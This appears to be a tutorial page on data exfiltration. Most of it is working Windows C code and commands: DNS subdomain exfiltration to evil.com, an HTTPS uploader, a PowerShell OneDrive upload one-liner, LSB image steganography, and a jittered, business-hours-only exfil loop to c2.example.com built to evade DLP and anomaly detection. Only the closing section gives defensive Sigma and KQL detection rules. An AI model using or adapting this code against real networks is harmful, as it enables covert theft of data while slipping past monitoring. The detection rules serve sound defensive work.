Data Exfiltration Techniques

Exfiltration is the last mile: moving data from a network perimeter to operator-controlled infrastructure while evading DLP, egress filtering, and anomaly detection. The channel chosen — DNS, HTTPS, steganography, cloud storage APIs — must match the allowed outbound traffic profile of the target environment. Volume, timing, and encoding all affect detection probability.

Exfil Channel Comparison

DNS Exfiltration

// DNS exfil: send data as base32-encoded subdomains.
// Uses DnsQuery_W to send queries (Windows DnsAPI).
// Python server side: authoritative DNS for evil.com, parse subdomains.

#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")

// Base32 encoding (RFC 4648, no padding) for DNS-safe characters
static const char B32[] = "abcdefghijklmnopqrstuvwxyz234567";

VOID Base32Encode(const BYTE* in, DWORD inLen, char* out) {
    int bits = 0, accum = 0, pos = 0;
    for (DWORD i = 0; i < inLen; i++) {
        accum = (accum << 8) | in[i]; bits += 8;
        while (bits >= 5) { bits -= 5; out[pos++] = B32[(accum >> bits) & 0x1F]; }
    }
    if (bits) out[pos++] = B32[(accum << (5-bits)) & 0x1F];
    out[pos] = 0;
}

VOID DnsExfilChunk(const BYTE* data, DWORD len,
                    DWORD seq, const char* domain) {
    char encoded[128]; Base32Encode(data, len, encoded);
    char fqdn[256];
    sprintf_s(fqdn, "%s.%04u.x.%s", encoded, seq, domain);
    // Convert to wchar
    WCHAR wFqdn[256];
    MultiByteToWideChar(CP_ACP, 0, fqdn, -1, wFqdn, 256);
    PDNS_RECORD pRec;
    // DnsQuery fires a real DNS query — goes through OS resolver → external DNS
    DnsQuery_W(wFqdn, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, &pRec, NULL);
    if (pRec) DnsRecordListFree(pRec, DnsFreeRecordList);
}

VOID DnsExfilFile(const BYTE* payload, DWORD payloadLen,
                   const char* domain) {
    const DWORD CHUNK = 40;  // 40 raw bytes → ~64 base32 chars
    DWORD seq = 0;
    for (DWORD off = 0; off < payloadLen; off += CHUNK, seq++) {
        DWORD sz = min(CHUNK, payloadLen - off);
        DnsExfilChunk(payload + off, sz, seq, domain);
        Sleep(1500);  // rate-limit: ~1 query/1.5s avoids query burst alerts
    }
    // Send terminator: "fin.TOTAL_SEQ.x.domain"
    WCHAR fin[256]; swprintf_s(fin, L"fin.%04u.x.%hs", seq, domain);
    DnsQuery_W(fin, DNS_TYPE_A, DNS_QUERY_BYPASS_CACHE, NULL, NULL, NULL);
}

HTTPS Exfiltration to Cloud Storage

// Upload directly to OneDrive via Microsoft Graph API.
// Advantages: HTTPS 443 to microsoft.com — passes most proxy allowlists.
// The token is embedded or obtained via device code flow during initial access.
// CASB tools can see the upload content if they inspect Graph API calls.

// PowerShell one-liner for quick exfil:
// $headers = @{Authorization = "Bearer <ACCESS_TOKEN>"}
// $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip"))
// Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/data.zip:/content" `
//                   -Method PUT -Headers $headers `
//                   -Body ([Convert]::FromBase64String($content)) `
//                   -ContentType "application/octet-stream"

// C implementation via WinHTTP to arbitrary HTTPS endpoint:
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

BOOL HttpsUpload(LPCWSTR host, LPCWSTR path,
                  const BYTE* data, DWORD dataLen) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebRequest/537",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
    HINTERNET hConn = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hReq  = WinHttpOpenRequest(hConn, L"PUT", path,
        NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    WinHttpAddRequestHeaders(hReq,
        L"Content-Type: application/octet-stream", -1L,
        WINHTTP_ADDREQ_FLAG_ADD);
    WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                        (LPVOID)data, dataLen, dataLen, 0);
    WinHttpReceiveResponse(hReq, NULL);
    DWORD status = 0, sz = sizeof(DWORD);
    WinHttpQueryHeaders(hReq, WINHTTP_QUERY_STATUS_CODE|WINHTTP_QUERY_FLAG_NUMBER,
                         NULL, &status, &sz, NULL);
    WinHttpCloseHandle(hReq); WinHttpCloseHandle(hConn); WinHttpCloseHandle(hSession);
    return (status == 200 || status == 201);
}

Steganography in Images

// LSB steganography: hide data in the least-significant bit of each color channel.
// A 1920x1080 RGB image can hold 1920*1080*3 / 8 = ~777KB of hidden data.
// Uploaded to an image hosting service — appears to be a normal screenshot.
// Statistical detection: chi-square test can detect LSB steg in uniform areas.

// Embed payload into BMP pixels (24-bit, no compression):
VOID LsbEmbed(BYTE* pixels, DWORD pixelCount,
               const BYTE* payload, DWORD payloadLen) {
    // Prepend 4-byte length header
    BYTE header[4] = {
        (BYTE)(payloadLen >> 24), (BYTE)(payloadLen >> 16),
        (BYTE)(payloadLen >>  8), (BYTE)(payloadLen)
    };
    DWORD pixIdx = 0;
    auto embedByte = [&](BYTE b) {
        for (int bit = 7; bit >= 0; bit--) {
            pixels[pixIdx] = (pixels[pixIdx] & 0xFE) | ((b >> bit) & 1);
            pixIdx++;
        }
    };
    for (int i = 0; i < 4; i++) embedByte(header[i]);
    for (DWORD i = 0; i < payloadLen; i++) embedByte(payload[i]);
}

// Extract:
VOID LsbExtract(const BYTE* pixels, BYTE* out, DWORD maxOut) {
    DWORD pixIdx = 0;
    auto extractByte = [&]() -> BYTE {
        BYTE b = 0;
        for (int bit = 7; bit >= 0; bit--)
            b |= (pixels[pixIdx++] & 1) << bit;
        return b;
    };
    DWORD len = ((DWORD)extractByte()<<24)|((DWORD)extractByte()<<16)
               |((DWORD)extractByte()<<8)|extractByte();
    len = min(len, maxOut);
    for (DWORD i = 0; i < len; i++) out[i] = extractByte();
}

Chunking and Rate Limiting

// DLP and anomaly systems alert on: large single transfers, unusual transfer times,
// high query rates (DNS), and destinations not seen in baseline.
// Mitigations: small chunks, long delays, randomized timing, blend with normal traffic.

VOID ThrottledExfil(const BYTE* data, DWORD total) {
    const DWORD CHUNK_SZ   = 64 * 1024;   // 64KB per chunk
    const DWORD MIN_DELAY  = 30000;       // 30s minimum between chunks
    const DWORD JITTER_MS  = 15000;       // ±15s random jitter

    DWORD sent = 0;
    while (sent < total) {
        DWORD chunkLen = min(CHUNK_SZ, total - sent);
        HttpsUpload(L"c2.example.com", L"/upload", data + sent, chunkLen);
        sent += chunkLen;

        // Only exfil during business hours (9 AM – 5 PM) to blend with normal traffic
        SYSTEMTIME st; GetLocalTime(&st);
        if (st.wHour < 9 || st.wHour >= 17) {
            Sleep(3600000);  // wait 1h, recheck
            continue;
        }
        DWORD delay = MIN_DELAY + (rand() % JITTER_MS);
        Sleep(delay);
    }
}

Detection Engineering

title: Anomalous DNS Query Volume from Single Host (DNS Exfil)
logsource:
  product: dns
detection:
  selection:
    QueryType: 'A'
  condition: |
    selection | count() by SourceIp, QueryName | threshold(field=QueryName, count > 500, timespan=10m)
level: high
tags: [attack.exfiltration, T1048.003]

title: Long DNS Subdomain (Data Encoded in DNS Query)
logsource:
  product: dns
detection:
  selection:
    QueryName|re: '^[a-z2-7]{20,}\\.'  # base32 in first label
  condition: selection
level: medium

-- MDE KQL: large HTTPS upload to uncommon destination
DeviceNetworkEvents
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| summarize
    total_bytes = sum(SentBytes),
    sessions = count()
  by DeviceName, RemoteUrl, bin(Timestamp, 1h)
| where total_bytes > 50000000  // 50MB threshold
| where RemoteUrl !has "microsoft"
      and RemoteUrl !has "windows"
      and RemoteUrl !has "office"
| order by total_bytes desc

-- DNS: high subdomain entropy (encoded exfil)
DnsEvents
| where TimeGenerated > ago(1h)
| extend firstLabel = extract('^([^.]+)\.', 1, Name)
| extend labelLen = strlen(firstLabel)
| where labelLen > 30
| summarize count(), make_set(Name) by Computer, bin(TimeGenerated, 5m)
| where count_ > 20

Q&A